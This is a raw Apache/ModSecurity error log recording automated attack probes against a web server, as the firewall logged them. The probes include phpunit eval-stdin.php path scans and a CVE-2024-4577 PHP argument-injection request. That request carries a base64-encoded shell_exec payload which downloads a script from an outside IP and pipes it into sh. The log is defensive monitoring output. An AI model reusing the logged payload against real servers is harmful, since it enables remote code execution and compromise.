[Fri Jul 17 10:22:57.010329 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 28)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/hello.world"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
[Fri Jul 17 10:22:57.011163 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 28 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=20,HTTP=0,SESS=0): individual paranoia level scores: 28, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1KWFDQ6dUmh6WfoaEIAAAAAc"]
[Fri Jul 17 10:22:57.070994 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.171943 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.278501 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.370099 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.370538 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:<?php shell_exec(base64_decode(\\x22KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA: \\x22)); echo(md5(\\x22Hello CVE-2024-4577\\x22)); ?>"] [severity "CRITICAL"] [ver "OW [hostname "66.85.158.91"] [uri "/"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.370727 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php shell_exec(base64_decode(\\x22KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA: <?php shell_exec(base64_decode(\\x22khdnzxqgls1uby1jagvjay1jzxj0awzpy2f0zsatcu8tigh0dhbzoi8vmje3ljywlje5ns4xmtmvc2ggfhwgy3vybcatc2sgahr0chm6ly8ymtcunjaumtk1ljexmy9zackgfcbzacatcybjdmvfmjaynf80ntc3lnnlbgzyzxa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "appl [hostname "66.85.158.91"] [uri "/"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.370792 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "131"] [id "933120"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "66.85.158.91"] [uri "/"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.370835 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "66.85.158.91"] [uri "/"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.370907 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Matched phrase "shell_exec" at ARGS_NAMES:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: shell_exec found within ARGS_NAMES:<?php shell_exec(base64_decode(\\x22KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjE5NS4xMTMvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTk1LjExMy9zaCkgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA: <?php shell_exec(base64_decode(\\x22khdnzxqgls1uby1jagvjay1jzxj0awzpy2f0zsatcu8tigh0dhbzoi8vmje3ljywlje5ns4xmtmvc2ggfhwgy3vybcatc2sgahr0chm6ly8ymtcunjaumtk1ljexmy9zackgfcbzacatcybjdmvfmjaynf80ntc3lnnlbgzyzxa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag " [hostname "66.85.158.91"] [uri "/"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.371655 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 28)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.372293 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 28 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=20,HTTP=0,SESS=0): individual paranoia level scores: 28, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/index.html"] [unique_id "alm1Kcwb7ueECO0vce5sxwAAAA8"]
[Fri Jul 17 10:22:57.376884 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.486288 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.592116 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.696402 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.797420 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:57.908058 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.004494 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Kn5-BwPGxupoEJk0RwAAAA0"]
[Fri Jul 17 10:22:58.004604 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Kn5-BwPGxupoEJk0RwAAAA0"]
[Fri Jul 17 10:22:58.004644 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Kn5-BwPGxupoEJk0RwAAAA0"]
[Fri Jul 17 10:22:58.005151 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Kn5-BwPGxupoEJk0RwAAAA0"]
[Fri Jul 17 10:22:58.005923 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1Kn5-BwPGxupoEJk0RwAAAA0"]
[Fri Jul 17 10:22:58.016487 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.124883 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.228523 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.329402 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.355241 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1Kl6LQV5zcO01IS_BLwAAAAw"]
[Fri Jul 17 10:22:58.355330 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1Kl6LQV5zcO01IS_BLwAAAAw"]
[Fri Jul 17 10:22:58.355383 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1Kl6LQV5zcO01IS_BLwAAAAw"]
[Fri Jul 17 10:22:58.355783 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1Kl6LQV5zcO01IS_BLwAAAAw"]
[Fri Jul 17 10:22:58.356411 2026] [security2:error] [pid 2075689:tid 2075689] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1Kl6LQV5zcO01IS_BLwAAAAw"]
[Fri Jul 17 10:22:58.435498 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.545752 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.645504 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.755118 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:58.948972 2026] [security2:error] [pid 2075693:tid 2075693] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm1Kn5-BwPGxupoEJk0SAAAAA0"]
[Fri Jul 17 10:22:58.949009 2026] [security2:error] [pid 2075693:tid 2075693] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm1Kn5-BwPGxupoEJk0SAAAAA0"]
[Fri Jul 17 10:22:58.959365 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.066456 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.176169 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.315950 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:52628] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:59.340619 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.387468 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.490887 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.594230 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.694860 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.805159 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:59.810261 2026] [security2:error] [pid 2076231:tid 2076231] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1K2G27nIfbW_ExyiHWgAAABM"]
[Fri Jul 17 10:22:59.810378 2026] [security2:error] [pid 2076231:tid 2076231] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1K2G27nIfbW_ExyiHWgAAABM"]
[Fri Jul 17 10:22:59.810430 2026] [security2:error] [pid 2076231:tid 2076231] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1K2G27nIfbW_ExyiHWgAAABM"]
[Fri Jul 17 10:22:59.810859 2026] [security2:error] [pid 2076231:tid 2076231] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1K2G27nIfbW_ExyiHWgAAABM"]
[Fri Jul 17 10:22:59.811496 2026] [security2:error] [pid 2076231:tid 2076231] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1K2G27nIfbW_ExyiHWgAAABM"]
[Fri Jul 17 10:23:00.100455 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:00.171734 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1LGFjrl6DCT-Pyn8T4gAAAAo"]
[Fri Jul 17 10:23:00.171839 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1LGFjrl6DCT-Pyn8T4gAAAAo"]
[Fri Jul 17 10:23:00.171904 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1LGFjrl6DCT-Pyn8T4gAAAAo"]
